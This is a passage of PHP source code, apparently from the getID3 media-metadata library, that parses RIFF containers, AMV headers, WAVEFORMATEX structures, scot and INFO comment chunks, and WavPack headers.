($RIFFchunk['amvh']['runtime_min'] * 60) + $RIFFchunk['amvh']['runtime_sec']; // the rest is all hardcoded(?) and does not appear to be useful until you get to audio info at offset 256, even then everything is probably hardcoded if (substr($AMVheader, 68, 20) != 'LIST'."\x00\x00\x00\x00".'strlstrh'."\x38\x00\x00\x00") { throw new Exception('expecting "LIST<0x00000000>strlstrh<0x38000000>" at offset '.($startoffset + 68).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 68, 20)).'"'); } // followed by 56 bytes of null: substr($AMVheader, 88, 56) -> 144 if (substr($AMVheader, 144, 8) != 'strf'."\x24\x00\x00\x00") { throw new Exception('expecting "strf<0x24000000>" at offset '.($startoffset + 144).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 144, 8)).'"'); } // followed by 36 bytes of null: substr($AMVheader, 144, 36) -> 180 if (substr($AMVheader, 188, 20) != 'LIST'."\x00\x00\x00\x00".'strlstrh'."\x30\x00\x00\x00") { throw new Exception('expecting "LIST<0x00000000>strlstrh<0x30000000>" at offset '.($startoffset + 188).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 188, 20)).'"'); } // followed by 48 bytes of null: substr($AMVheader, 208, 48) -> 256 if (substr($AMVheader, 256, 8) != 'strf'."\x14\x00\x00\x00") { throw new Exception('expecting "strf<0x14000000>" at offset '.($startoffset + 256).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 256, 8)).'"'); } // followed by 20 bytes of a modified WAVEFORMATEX: // typedef struct { // WORD wFormatTag; //(Fixme: this is equal to PCM's 0x01 format code) // WORD nChannels; //(Fixme: this is always 1) // DWORD nSamplesPerSec; //(Fixme: for all known sample files this is equal to 22050) // DWORD nAvgBytesPerSec; //(Fixme: for all known sample files this is equal to 44100) // WORD nBlockAlign; //(Fixme: this seems to be 2 in AMV files, is this correct ?) // WORD wBitsPerSample; //(Fixme: this seems to be 16 in AMV files instead of the expected 4) // WORD cbSize; //(Fixme: this seems to be 0 in AMV files) // WORD reserved; // } WAVEFORMATEX; $RIFFchunk['strf']['wformattag'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 264, 2)); $RIFFchunk['strf']['nchannels'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 266, 2)); $RIFFchunk['strf']['nsamplespersec'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 268, 4)); $RIFFchunk['strf']['navgbytespersec'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 272, 4)); $RIFFchunk['strf']['nblockalign'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 276, 2)); $RIFFchunk['strf']['wbitspersample'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 278, 2)); $RIFFchunk['strf']['cbsize'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 280, 2)); $RIFFchunk['strf']['reserved'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 282, 2)); $info['audio']['lossless'] = false; $info['audio']['sample_rate'] = $RIFFchunk['strf']['nsamplespersec']; $info['audio']['channels'] = $RIFFchunk['strf']['nchannels']; $info['audio']['bits_per_sample'] = $RIFFchunk['strf']['wbitspersample']; $info['audio']['bitrate'] = $info['audio']['sample_rate'] * $info['audio']['channels'] * $info['audio']['bits_per_sample']; $info['audio']['bitrate_mode'] = 'cbr'; } catch (getid3_exception $e) { if ($e->getCode() == 10) { $this->warning('RIFFAMV parser: '.$e->getMessage()); } else { throw $e; } } return $RIFFchunk; } /** * @param int $startoffset * @param int $maxoffset * * @return array|false * @throws getid3_exception */ public function ParseRIFF($startoffset, $maxoffset) { $info = &$this->getid3->info; $RIFFchunk = array(); $FoundAllChunksWeNeed = false; $LISTchunkParent = null; $LISTchunkMaxOffset = null; $AC3syncwordBytes = pack('n', getid3_ac3::syncword); // 0x0B77 -> "\x0B\x77" try { $this->fseek($startoffset); $maxoffset = min($maxoffset, $info['avdataend']); while ($this->ftell() < $maxoffset) { $chunknamesize = $this->fread(8); //$chunkname = substr($chunknamesize, 0, 4); $chunkname = str_replace("\x00", '_', substr($chunknamesize, 0, 4)); // note: chunk names of 4 null bytes do appear to be legal (has been observed inside INFO and PRMI chunks, for example), but makes traversing array keys more difficult $chunksize = $this->EitherEndian2Int(substr($chunknamesize, 4, 4)); //if (strlen(trim($chunkname, "\x00")) < 4) { if (strlen($chunkname) < 4) { $this->error('Expecting chunk name at offset '.($this->ftell() - 8).' but found nothing. Aborting RIFF parsing.'); break; } if (($chunksize == 0) && ($chunkname != 'JUNK')) { $this->warning('Chunk ('.$chunkname.') size at offset '.($this->ftell() - 4).' is zero. Aborting RIFF parsing.'); break; } if (($chunksize % 2) != 0) { // all structures are packed on word boundaries $chunksize++; } switch ($chunkname) { case 'LIST': $listname = $this->fread(4); if (preg_match('#^(movi|rec )$#i', $listname)) { $RIFFchunk[$listname]['offset'] = $this->ftell() - 4; $RIFFchunk[$listname]['size'] = $chunksize; if (!$FoundAllChunksWeNeed) { $WhereWeWere = $this->ftell(); $AudioChunkHeader = $this->fread(12); $AudioChunkStreamNum = substr($AudioChunkHeader, 0, 2); $AudioChunkStreamType = substr($AudioChunkHeader, 2, 2); $AudioChunkSize = getid3_lib::LittleEndian2Int(substr($AudioChunkHeader, 4, 4)); if ($AudioChunkStreamType == 'wb') { $FirstFourBytes = substr($AudioChunkHeader, 8, 4); if (preg_match('/^\xFF[\xE2-\xE7\xF2-\xF7\xFA-\xFF][\x00-\xEB]/s', $FirstFourBytes)) { // MP3 if (getid3_mp3::MPEGaudioHeaderBytesValid($FirstFourBytes)) { $getid3_temp = new getID3(); $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); $getid3_temp->info['avdataoffset'] = $this->ftell() - 4; $getid3_temp->info['avdataend'] = $this->ftell() + $AudioChunkSize; $getid3_mp3 = new getid3_mp3($getid3_temp, __CLASS__); $getid3_mp3->getOnlyMPEGaudioInfo($getid3_temp->info['avdataoffset'], false); if (isset($getid3_temp->info['mpeg']['audio'])) { $info['mpeg']['audio'] = $getid3_temp->info['mpeg']['audio']; $info['audio'] = $getid3_temp->info['audio']; $info['audio']['dataformat'] = 'mp'.$info['mpeg']['audio']['layer']; $info['audio']['sample_rate'] = $info['mpeg']['audio']['sample_rate']; $info['audio']['channels'] = $info['mpeg']['audio']['channels']; $info['audio']['bitrate'] = $info['mpeg']['audio']['bitrate']; $info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']); //$info['bitrate'] = $info['audio']['bitrate']; } unset($getid3_temp, $getid3_mp3); } } elseif (strpos($FirstFourBytes, $AC3syncwordBytes) === 0) { // AC3 $getid3_temp = new getID3(); $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); $getid3_temp->info['avdataoffset'] = $this->ftell() - 4; $getid3_temp->info['avdataend'] = $this->ftell() + $AudioChunkSize; $getid3_ac3 = new getid3_ac3($getid3_temp); $getid3_ac3->Analyze(); if (empty($getid3_temp->info['error'])) { $info['audio'] = $getid3_temp->info['audio']; $info['ac3'] = $getid3_temp->info['ac3']; if (!empty($getid3_temp->info['warning'])) { foreach ($getid3_temp->info['warning'] as $key => $value) { $this->warning($value); } } } unset($getid3_temp, $getid3_ac3); } } $FoundAllChunksWeNeed = true; $this->fseek($WhereWeWere); } $this->fseek($chunksize - 4, SEEK_CUR); } else { if (!isset($RIFFchunk[$listname])) { $RIFFchunk[$listname] = array(); } $LISTchunkParent = $listname; $LISTchunkMaxOffset = $this->ftell() - 4 + $chunksize; if ($parsedChunk = $this->ParseRIFF($this->ftell(), $LISTchunkMaxOffset)) { $RIFFchunk[$listname] = array_merge_recursive($RIFFchunk[$listname], $parsedChunk); } } break; default: if (preg_match('#^[0-9]{2}(wb|pc|dc|db)$#', $chunkname)) { $this->fseek($chunksize, SEEK_CUR); break; } $thisindex = 0; if (isset($RIFFchunk[$chunkname]) && is_array($RIFFchunk[$chunkname])) { $thisindex = count($RIFFchunk[$chunkname]); } $RIFFchunk[$chunkname][$thisindex]['offset'] = $this->ftell() - 8; $RIFFchunk[$chunkname][$thisindex]['size'] = $chunksize; switch ($chunkname) { case 'data': $info['avdataoffset'] = $this->ftell(); $info['avdataend'] = $info['avdataoffset'] + $chunksize; $testData = $this->fread(36); if ($testData === '') { break; } if (preg_match('/^\xFF[\xE2-\xE7\xF2-\xF7\xFA-\xFF][\x00-\xEB]/s', substr($testData, 0, 4))) { // Probably is MP3 data if (getid3_mp3::MPEGaudioHeaderBytesValid(substr($testData, 0, 4))) { $getid3_temp = new getID3(); $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); $getid3_temp->info['avdataoffset'] = $info['avdataoffset']; $getid3_temp->info['avdataend'] = $info['avdataend']; $getid3_mp3 = new getid3_mp3($getid3_temp, __CLASS__); $getid3_mp3->getOnlyMPEGaudioInfo($info['avdataoffset'], false); if (empty($getid3_temp->info['error'])) { $info['audio'] = $getid3_temp->info['audio']; $info['mpeg'] = $getid3_temp->info['mpeg']; } unset($getid3_temp, $getid3_mp3); } } elseif (($isRegularAC3 = (substr($testData, 0, 2) == $AC3syncwordBytes)) || substr($testData, 8, 2) == strrev($AC3syncwordBytes)) { // This is probably AC-3 data $getid3_temp = new getID3(); if ($isRegularAC3) { $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); $getid3_temp->info['avdataoffset'] = $info['avdataoffset']; $getid3_temp->info['avdataend'] = $info['avdataend']; } $getid3_ac3 = new getid3_ac3($getid3_temp); if ($isRegularAC3) { $getid3_ac3->Analyze(); } else { // Dolby Digital WAV // AC-3 content, but not encoded in same format as normal AC-3 file // For one thing, byte order is swapped $ac3_data = ''; for ($i = 0; $i < 28; $i += 2) { $ac3_data .= substr($testData, 8 + $i + 1, 1); $ac3_data .= substr($testData, 8 + $i + 0, 1); } $getid3_ac3->getid3->info['avdataoffset'] = 0; $getid3_ac3->getid3->info['avdataend'] = strlen($ac3_data); $getid3_ac3->AnalyzeString($ac3_data); } if (empty($getid3_temp->info['error'])) { $info['audio'] = $getid3_temp->info['audio']; $info['ac3'] = $getid3_temp->info['ac3']; if (!empty($getid3_temp->info['warning'])) { foreach ($getid3_temp->info['warning'] as $newerror) { $this->warning('getid3_ac3() says: ['.$newerror.']'); } } } unset($getid3_temp, $getid3_ac3); } elseif (preg_match('/^('.implode('|', array_map('preg_quote', getid3_dts::$syncwords)).')/', $testData)) { // This is probably DTS data $getid3_temp = new getID3(); $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); $getid3_temp->info['avdataoffset'] = $info['avdataoffset']; $getid3_dts = new getid3_dts($getid3_temp); $getid3_dts->Analyze(); if (empty($getid3_temp->info['error'])) { $info['audio'] = $getid3_temp->info['audio']; $info['dts'] = $getid3_temp->info['dts']; $info['playtime_seconds'] = $getid3_temp->info['playtime_seconds']; // may not match RIFF calculations since DTS-WAV often used 14/16 bit-word packing if (!empty($getid3_temp->info['warning'])) { foreach ($getid3_temp->info['warning'] as $newerror) { $this->warning('getid3_dts() says: ['.$newerror.']'); } } } unset($getid3_temp, $getid3_dts); } elseif (substr($testData, 0, 4) == 'wvpk') { // This is WavPack data $info['wavpack']['offset'] = $info['avdataoffset']; $info['wavpack']['size'] = getid3_lib::LittleEndian2Int(substr($testData, 4, 4)); $this->parseWavPackHeader(substr($testData, 8, 28)); } else { // This is some other kind of data (quite possibly just PCM) // do nothing special, just skip it } $nextoffset = $info['avdataend']; $this->fseek($nextoffset); break; case 'iXML': case 'bext': case 'cart': case 'fmt ': case 'strh': case 'strf': case 'indx': case 'MEXT': case 'DISP': case 'wamd': case 'guan': // always read data in case 'JUNK': // should be: never read data in // but some programs write their version strings in a JUNK chunk (e.g. VirtualDub, AVIdemux, etc) if ($chunksize < 1048576) { if ($chunksize > 0) { $RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize); if ($chunkname == 'JUNK') { if (preg_match('#^([\\x20-\\x7F]+)#', $RIFFchunk[$chunkname][$thisindex]['data'], $matches)) { // only keep text characters [chr(32)-chr(127)] $info['riff']['comments']['junk'][] = trim($matches[1]); } // but if nothing there, ignore // remove the key in either case unset($RIFFchunk[$chunkname][$thisindex]['data']); } } } else { $this->warning('Chunk "'.$chunkname.'" at offset '.$this->ftell().' is unexpectedly larger than 1MB (claims to be '.number_format($chunksize).' bytes), skipping data'); $this->fseek($chunksize, SEEK_CUR); } break; //case 'IDVX': // $info['divxtag']['comments'] = self::ParseDIVXTAG($this->fread($chunksize)); // break; case 'scot': // https://cmsdk.com/node-js/adding-scot-chunk-to-wav-file.html $RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize); $RIFFchunk[$chunkname][$thisindex]['parsed']['alter'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 0, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['attrib'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 1, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['artnum'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 2, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['title'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 4, 43); // "name" in other documentation $RIFFchunk[$chunkname][$thisindex]['parsed']['copy'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 47, 4); $RIFFchunk[$chunkname][$thisindex]['parsed']['padd'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 51, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['asclen'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 52, 5); $RIFFchunk[$chunkname][$thisindex]['parsed']['startseconds'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 57, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['starthundredths'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 59, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['endseconds'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 61, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['endhundreths'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 63, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['sdate'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 65, 6); $RIFFchunk[$chunkname][$thisindex]['parsed']['kdate'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 71, 6); $RIFFchunk[$chunkname][$thisindex]['parsed']['start_hr'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 77, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['kill_hr'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 78, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['digital'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 79, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['sample_rate'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 80, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['stereo'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 82, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['compress'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 83, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['eomstrt'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 84, 4)); $RIFFchunk[$chunkname][$thisindex]['parsed']['eomlen'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 88, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['attrib2'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 90, 4)); $RIFFchunk[$chunkname][$thisindex]['parsed']['future1'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 94, 12); $RIFFchunk[$chunkname][$thisindex]['parsed']['catfontcolor'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 106, 4)); $RIFFchunk[$chunkname][$thisindex]['parsed']['catcolor'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 110, 4)); $RIFFchunk[$chunkname][$thisindex]['parsed']['segeompos'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 114, 4)); $RIFFchunk[$chunkname][$thisindex]['parsed']['vt_startsecs'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 118, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['vt_starthunds'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 120, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['priorcat'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 122, 3); $RIFFchunk[$chunkname][$thisindex]['parsed']['priorcopy'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 125, 4); $RIFFchunk[$chunkname][$thisindex]['parsed']['priorpadd'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 129, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['postcat'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 130, 3); $RIFFchunk[$chunkname][$thisindex]['parsed']['postcopy'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 133, 4); $RIFFchunk[$chunkname][$thisindex]['parsed']['postpadd'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 137, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['hrcanplay'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 138, 21); $RIFFchunk[$chunkname][$thisindex]['parsed']['future2'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 159, 108); $RIFFchunk[$chunkname][$thisindex]['parsed']['artist'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 267, 34); $RIFFchunk[$chunkname][$thisindex]['parsed']['comment'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 301, 34); // "trivia" in other documentation $RIFFchunk[$chunkname][$thisindex]['parsed']['intro'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 335, 2); $RIFFchunk[$chunkname][$thisindex]['parsed']['end'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 337, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['year'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 338, 4); $RIFFchunk[$chunkname][$thisindex]['parsed']['obsolete2'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 342, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['rec_hr'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 343, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['rdate'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 344, 6); $RIFFchunk[$chunkname][$thisindex]['parsed']['mpeg_bitrate'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 350, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['pitch'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 352, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['playlevel'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 354, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['lenvalid'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 356, 1); $RIFFchunk[$chunkname][$thisindex]['parsed']['filelength'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 357, 4)); $RIFFchunk[$chunkname][$thisindex]['parsed']['newplaylevel'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 361, 2)); $RIFFchunk[$chunkname][$thisindex]['parsed']['chopsize'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 363, 4)); $RIFFchunk[$chunkname][$thisindex]['parsed']['vteomovr'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 367, 4)); $RIFFchunk[$chunkname][$thisindex]['parsed']['desiredlen'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 371, 4)); $RIFFchunk[$chunkname][$thisindex]['parsed']['triggers'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 375, 4)); $RIFFchunk[$chunkname][$thisindex]['parsed']['fillout'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 379, 33); foreach (array('title', 'artist', 'comment') as $key) { if (trim($RIFFchunk[$chunkname][$thisindex]['parsed'][$key])) { $info['riff']['comments'][$key] = array($RIFFchunk[$chunkname][$thisindex]['parsed'][$key]); } } if ($RIFFchunk[$chunkname][$thisindex]['parsed']['filelength'] && !empty($info['filesize']) && ($RIFFchunk[$chunkname][$thisindex]['parsed']['filelength'] != $info['filesize'])) { $this->warning('RIFF.WAVE.scot.filelength ('.$RIFFchunk[$chunkname][$thisindex]['parsed']['filelength'].') different from actual filesize ('.$info['filesize'].')'); } break; default: if (!empty($LISTchunkParent) && isset($LISTchunkMaxOffset) && (($RIFFchunk[$chunkname][$thisindex]['offset'] + $RIFFchunk[$chunkname][$thisindex]['size']) <= $LISTchunkMaxOffset)) { $RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['offset'] = $RIFFchunk[$chunkname][$thisindex]['offset']; $RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['size'] = $RIFFchunk[$chunkname][$thisindex]['size']; unset($RIFFchunk[$chunkname][$thisindex]['offset']); unset($RIFFchunk[$chunkname][$thisindex]['size']); if (isset($RIFFchunk[$chunkname][$thisindex]) && empty($RIFFchunk[$chunkname][$thisindex])) { unset($RIFFchunk[$chunkname][$thisindex]); } if (count($RIFFchunk[$chunkname]) === 0) { unset($RIFFchunk[$chunkname]); } $RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['data'] = $this->fread($chunksize); } elseif ($chunksize < 2048) { // only read data in if smaller than 2kB $RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize); } else { $this->fseek($chunksize, SEEK_CUR); } break; } break; } } } catch (getid3_exception $e) { if ($e->getCode() == 10) { $this->warning('RIFF parser: '.$e->getMessage()); } else { throw $e; } } return !empty($RIFFchunk) ? $RIFFchunk : false; } /** * @param string $RIFFdata * * @return bool */ public function ParseRIFFdata(&$RIFFdata) { $info = &$this->getid3->info; if ($RIFFdata) { $tempfile = tempnam(GETID3_TEMP_DIR, 'getID3'); $fp_temp = fopen($tempfile, 'wb'); $RIFFdataLength = strlen($RIFFdata); $NewLengthString = getid3_lib::LittleEndian2String($RIFFdataLength, 4); for ($i = 0; $i < 4; $i++) { $RIFFdata[($i + 4)] = $NewLengthString[$i]; } fwrite($fp_temp, $RIFFdata); fclose($fp_temp); $getid3_temp = new getID3(); $getid3_temp->openfile($tempfile); $getid3_temp->info['filesize'] = $RIFFdataLength; $getid3_temp->info['filenamepath'] = $info['filenamepath']; $getid3_temp->info['tags'] = $info['tags']; $getid3_temp->info['warning'] = $info['warning']; $getid3_temp->info['error'] = $info['error']; $getid3_temp->info['comments'] = $info['comments']; $getid3_temp->info['audio'] = (isset($info['audio']) ? $info['audio'] : array()); $getid3_temp->info['video'] = (isset($info['video']) ? $info['video'] : array()); $getid3_riff = new getid3_riff($getid3_temp); $getid3_riff->Analyze(); $info['riff'] = $getid3_temp->info['riff']; $info['warning'] = $getid3_temp->info['warning']; $info['error'] = $getid3_temp->info['error']; $info['tags'] = $getid3_temp->info['tags']; $info['comments'] = $getid3_temp->info['comments']; unset($getid3_riff, $getid3_temp); unlink($tempfile); } return false; } /** * @param array $RIFFinfoArray * @param array $CommentsTargetArray * * @return bool */ public static function parseComments(&$RIFFinfoArray, &$CommentsTargetArray) { $RIFFinfoKeyLookup = array( 'IARL'=>'archivallocation', 'IART'=>'artist', 'ICDS'=>'costumedesigner', 'ICMS'=>'commissionedby', 'ICMT'=>'comment', 'ICNT'=>'country', 'ICOP'=>'copyright', 'ICRD'=>'creationdate', 'IDIM'=>'dimensions', 'IDIT'=>'digitizationdate', 'IDPI'=>'resolution', 'IDST'=>'distributor', 'IEDT'=>'editor', 'IENG'=>'engineers', 'IFRM'=>'accountofparts', 'IGNR'=>'genre', 'IKEY'=>'keywords', 'ILGT'=>'lightness', 'ILNG'=>'language', 'IMED'=>'orignalmedium', 'IMUS'=>'composer', 'INAM'=>'title', 'IPDS'=>'productiondesigner', 'IPLT'=>'palette', 'IPRD'=>'product', 'IPRO'=>'producer', 'IPRT'=>'part', 'IRTD'=>'rating', 'ISBJ'=>'subject', 'ISFT'=>'software', 'ISGN'=>'secondarygenre', 'ISHP'=>'sharpness', 'ISRC'=>'sourcesupplier', 'ISRF'=>'digitizationsource', 'ISTD'=>'productionstudio', 'ISTR'=>'starring', 'ITCH'=>'encoded_by', 'IWEB'=>'url', 'IWRI'=>'writer', '____'=>'comment', ); foreach ($RIFFinfoKeyLookup as $key => $value) { if (isset($RIFFinfoArray[$key])) { foreach ($RIFFinfoArray[$key] as $commentid => $commentdata) { if (!empty($commentdata['data']) && trim($commentdata['data']) != '') { if (isset($CommentsTargetArray[$value])) { $CommentsTargetArray[$value][] = trim($commentdata['data']); } else { $CommentsTargetArray[$value] = array(trim($commentdata['data'])); } } } } } return true; } /** * @param string $WaveFormatExData * * @return array */ public static function parseWAVEFORMATex($WaveFormatExData) { // shortcut $WaveFormatEx = array(); $WaveFormatEx['raw'] = array(); $WaveFormatEx_raw = &$WaveFormatEx['raw']; $WaveFormatEx_raw['wFormatTag'] = substr($WaveFormatExData, 0, 2); $WaveFormatEx_raw['nChannels'] = substr($WaveFormatExData, 2, 2); $WaveFormatEx_raw['nSamplesPerSec'] = substr($WaveFormatExData, 4, 4); $WaveFormatEx_raw['nAvgBytesPerSec'] = substr($WaveFormatExData, 8, 4); $WaveFormatEx_raw['nBlockAlign'] = substr($WaveFormatExData, 12, 2); $WaveFormatEx_raw['wBitsPerSample'] = substr($WaveFormatExData, 14, 2); if (strlen($WaveFormatExData) > 16) { $WaveFormatEx_raw['cbSize'] = substr($WaveFormatExData, 16, 2); } $WaveFormatEx_raw = array_map('getid3_lib::LittleEndian2Int', $WaveFormatEx_raw); $WaveFormatEx['codec'] = self::wFormatTagLookup($WaveFormatEx_raw['wFormatTag']); $WaveFormatEx['channels'] = $WaveFormatEx_raw['nChannels']; $WaveFormatEx['sample_rate'] = $WaveFormatEx_raw['nSamplesPerSec']; $WaveFormatEx['bitrate'] = $WaveFormatEx_raw['nAvgBytesPerSec'] * 8; $WaveFormatEx['bits_per_sample'] = $WaveFormatEx_raw['wBitsPerSample']; return $WaveFormatEx; } /** * @param string $WavPackChunkData * * @return bool */ public function parseWavPackHeader($WavPackChunkData) { // typedef struct { // char ckID [4]; // long ckSize; // short version; // short bits; // added for version 2.00 // short flags, shift; // added for version 3.00 // long total_samples, crc, crc2; // char extension [4], extra_bc, extras [3]; // } WavpackHeader; // shortcut $info = &$this->getid3->info; $info['wavpack'] = array(); $thisfile_wavpack = &$info['wavpack']; $thisfile_wavpack['version'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 0, 2)); if ($thisfile_wavpack['version'] >= 2) { $thisfile_wavpack['bits'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 2, 2)); } if ($thisfile_wavpack['version'] >= 3) { $thisfile_wavpack['flags_raw'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 4, 2)); $thisfile_wavpack['shift'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 6, 2)); $thisfile_wavpack['total_samples'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 8, 4)); $thisfile_wavpack['crc1'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 12, 4)); $thisfile_wavpack['crc2'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 16, 4)); $thisfile_wavpack['extension'] = substr($WavPackChunkData, 20, 4); $thisfile_wavpack['extra_bc'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 24, 1)); for ($i = 0; $i <= 2; $i++) { $thisfile_wavpack['extras'][] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 25 + $i, 1)); } // shortcut $thisfile_wavpack['flags'] = array(); $thisfile_wavpack_flags = &$thisfile_wavpack['flags']; $thisfile_wavpack_flags['mono'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000001); $thisfile_wavpack_flags['fast_mode'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000002); $thisfile_wavpack_flags['raw_mode'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000004); $thisfile_wavpack_flags['calc_noise'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000008); $thisfile_wavpack_flags['high_quality'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000010); $thisfile_wavpack_flags['3_byte_samples'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000020); $thisfile_wavpack_flags['over_20_bits'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000040); $thisfile_wavpack_flags['use_wvc'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000080); $thisfile_wavpack_flags['noiseshaping'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000100); $thisfile_wavpack_flags['very_fast_mode'] = (bool) ($thisfile_wavpack['flags_raw'] & 